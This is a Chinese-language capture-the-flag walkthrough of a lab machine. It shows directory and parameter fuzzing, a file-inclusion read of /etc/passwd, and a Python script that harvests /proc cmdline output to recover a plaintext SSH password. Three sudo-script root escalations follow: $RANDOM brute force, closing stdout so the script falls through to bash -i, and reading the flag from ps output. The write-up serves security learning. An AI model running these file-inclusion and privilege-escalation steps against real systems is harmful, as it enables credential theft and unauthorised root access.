

10.156.131.88

信息搜集

端口扫描

```
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
```

80/tcp目录扫描

```
root@LAPTOP-023505EH [~] → dirsearch -u http://10.156.131.88/
[11:07:15]
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

-| . - - - - - -|_ v0.4.3
(_|||_) (/_(|||_) )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | wordlist
size: 11460

Output File: /root/reports/http_10.156.131.88/__26-01-18_11-07-24.txt

Target: http://10.156.131.88/

[11:07:24] Starting:
[11:07:24] 403 - 278B - ./ht_wsr.txt
[11:07:24] 403 - 278B - ./htaccess.bak1
[11:07:24] 403 - 278B - ./htaccess.orig
[11:07:24] 403 - 278B - ./htaccess.sample
[11:07:24] 403 - 278B - ./htaccess.save
[11:07:24] 403 - 278B - ./htaccess_extra
[11:07:24] 403 - 278B - ./htaccess_orig
[11:07:24] 403 - 278B - ./htaccess_sc
[11:07:24] 403 - 278B - ./htaccessOLD
[11:07:24] 403 - 278B - ./htaccessBAK
[11:07:24] 403 - 278B - ./htaccessOLD2
[11:07:24] 403 - 278B - ./html
[11:07:24] 403 - 278B - ./htm
[11:07:24] 403 - 278B - ./httr-oauth
[11:07:24] 403 - 278B - ./htpasswd_test
[11:07:24] 403 - 278B - ./htpasswd
[11:07:24] 403 - 278B - ./php
[11:07:30] 500 - 0B - /file.php
[11:07:35] 403 - 278B - /server-status
[11:07:35] 403 - 278B - /server-status/

Task Completed
```

/file.php fuzz

```
root@LAPTOP-023505EH [~] → wfuzz -z file,/usr/share/wordlists/dirb/common.txt -
-hh 0 "http://10.156.131.88/file.php?FUZZ=/etc/passwd"
```

```

/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against OpenSSL. wfuzz might not work correctly when fuzzing SSL sites.
Check wfuzz's documentation for more information.
*****
* WFuzz 3.1.0 - The Web Fuzzer
*****

Target: http://10.156.131.88/file.php?FUZZ=/etc/passwd
Total requests: 4614

=====
ID      Response   Lines    word    Chars    Payload
=====

000001601: 200       26 L     38 W     1394 ch     "file"

Total time: 2.345285
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 1967.350

```

```

curl -s http://10.156.131.88/file.php?file=/etc/passwd

```

文件包含漏洞

现在知道了用户名但是缺少密码

查看进程启动时使用的完整命令行参数

```

import requests

base = "http://10.156.131.88/file.php?file=/proc"

for pid in range(1, 500):
    url = f"{base}/{pid}/cmdline"
    r = requests.get(url, timeout=3)
    text = r.text.replace('\x00', ' ').strip()
    if text:
        print(f"[+] PID {pid}: {text}")

```

```

[+] PID 337: /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dr
[+] PID 340: service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080 infinity
[+] PID 346: /sbin/agetty -o -p -- \u --noclear tty1 linux
[+] PID 350: /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal

```

welcome:6WXqj9Vc2tdXQ3TN0z54

提权

welcome

```
ssh welcome@10.156.131.88  
[11:12:01]
```

sudo提权

```
welcome@114:~$ sudo -l  
Matching Defaults entries for welcome on 114:  
    env_reset, mail_badpass,  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
User welcome may run the following commands on 114:  
    (ALL) NOPASSWD: /opt/read.sh  
    (ALL) NOPASSWD: /opt/short.sh
```

```
welcome@114:/opt$ cat read.sh  
#!/bin/bash  
  
echo "Input the flag:"  
if head -1 | grep -q "$(cat /root/root.txt)"  
then  
    echo "Y"  
else  
    echo "N"  
fi  
welcome@114:/opt$ cat  
read.sh  short.sh  
welcome@114:/opt$ cat short.sh  
#!/bin/bash  
  
PATH=/usr/bin  
My_guess=$RANDOM  
  
echo "This is script logic"  
cat << EOF  
if [ "$1" != "$My_guess" ] ;then  
    echo "Nop";  
else  
    bash -i;  
fi  
EOF  
  
[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
```

root 方案一(baby)

```
while true; do sudo /opt/short.sh $RANDOM; done
```

方案二

```
welcome@114:/opt$ cat short.sh
#!/bin/bash

PATH=/usr/bin
My_guess=$RANDOM

echo "This is script logic"
cat << EOF
if [ "$1" != "$My_guess" ] ;then
    echo "Nop";
else
    bash -i;
fi
EOF

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
```

虽然乍一眼看上面的if判断和下面的判断是一样的但是下面利用的&&会造成提权

思路是利用&&的逻辑造成执行base -i

当\$1 != My_guess的时候会输入Nop，但是如果echo也不执行就会执行bash -i

每一个命令运行的时候都会连接三个stream流

- STDIN (0) - 标准输入，描述符为0
- STDOUT (1) - 标准输出，描述符为1，用&1表示标注输出流
- STDERR (2) - 标准错误，描述符为2

所以这里只需要关闭标准输出同时\$1又不等于My_guess

```
sudo /opt/short.sh '1' >&-
```

```
root@114:/opt# cat /root/root.txt
cat: write error: Bad file descriptor
```

这里报错是因为我们已经关闭了标准输出管道

可以利用标准错误管道输出

```
cat /root/root.txt >&2
```

桥九九方案

```
sudo /opt/short.sh > /dev/full
```

原理也是一样的

方案三

```
#!/bin/bash
echo "Input the flag:"
if head -1 | grep -q "$(cat /root/root.txt)"
then
    echo "Y"
else
    echo "N"
fi
```

打开两个终端一个终端输入

```
sudo /opt/read.sh
```

另一个终端输入ps aux

```
root      1219  0.0  0.0      0   0 ?          I   22:47  0:00 [kworker/0:1-ata_sff]
root      1220  0.0  0.0      0   0 ?          I   22:52  0:00 [kworker/0:2-ata_sff]
root      1226  0.0  0.0      0   0 ?          I   22:54  0:00 [kworker/u2:0-flush-8:0]
root      1229  0.0  0.0      0   0 ?          I   22:57  0:00 [kworker/0:0-events]
root      1237  0.0  0.2  8608  4088 pts/1   S+  23:00  0:00 sudo /opt/read.sh
root      1238  0.0  0.1  6740  3204 pts/1   S+  23:00  0:00 /bin/bash /opt/read.sh
root      1239  0.0  0.0  5364   564 pts/1   S+  23:00  0:00 head -1
root      1240  0.0  0.0  6320   640 pts/1   S+  23:00  0:00 grep -q flag{root-c3dbe270140775bb9fc6eaa2559f914f}
root      1242  0.0  0.4  14500  8644 ?
welcome  1249  0.2  0.2  14500  5684 ?
welcome  1250  0.0  0.1  7084  3576 pts/2   Ss  23:01  0:00 sshd: welcome@pts/2
welcome  1253  0.0  0.1  11696  3232 pts/2   R+  23:01  0:00 ps aux
```

原理

在 Linux 执行一条命令前，Shell 会先进行**变量替换和命令替换**。当执行到 `grep -q "$(cat /root/root.txt)"` 时：

1. Shell 先读取 `/root/root.txt` 的内容（假设是 `flag{test_code}`）。
2. Shell 将命令重组为：`grep -q "flag{test_code}"`。
3. 这个完整的命令字符串会被记录在内核的进程表项中，具体路径为 `/proc/[PID]/cmdline`。

由于脚本中使用了管道符 `|`，`head` 和 `grep` 是同时启动的。`head` 在等待用户输入时会阻塞，这导致 `grep` 进程也会一直驻留在进程列表中。此时，任何用户通过 `ps` 命令都可以查看到该进程的启动参数。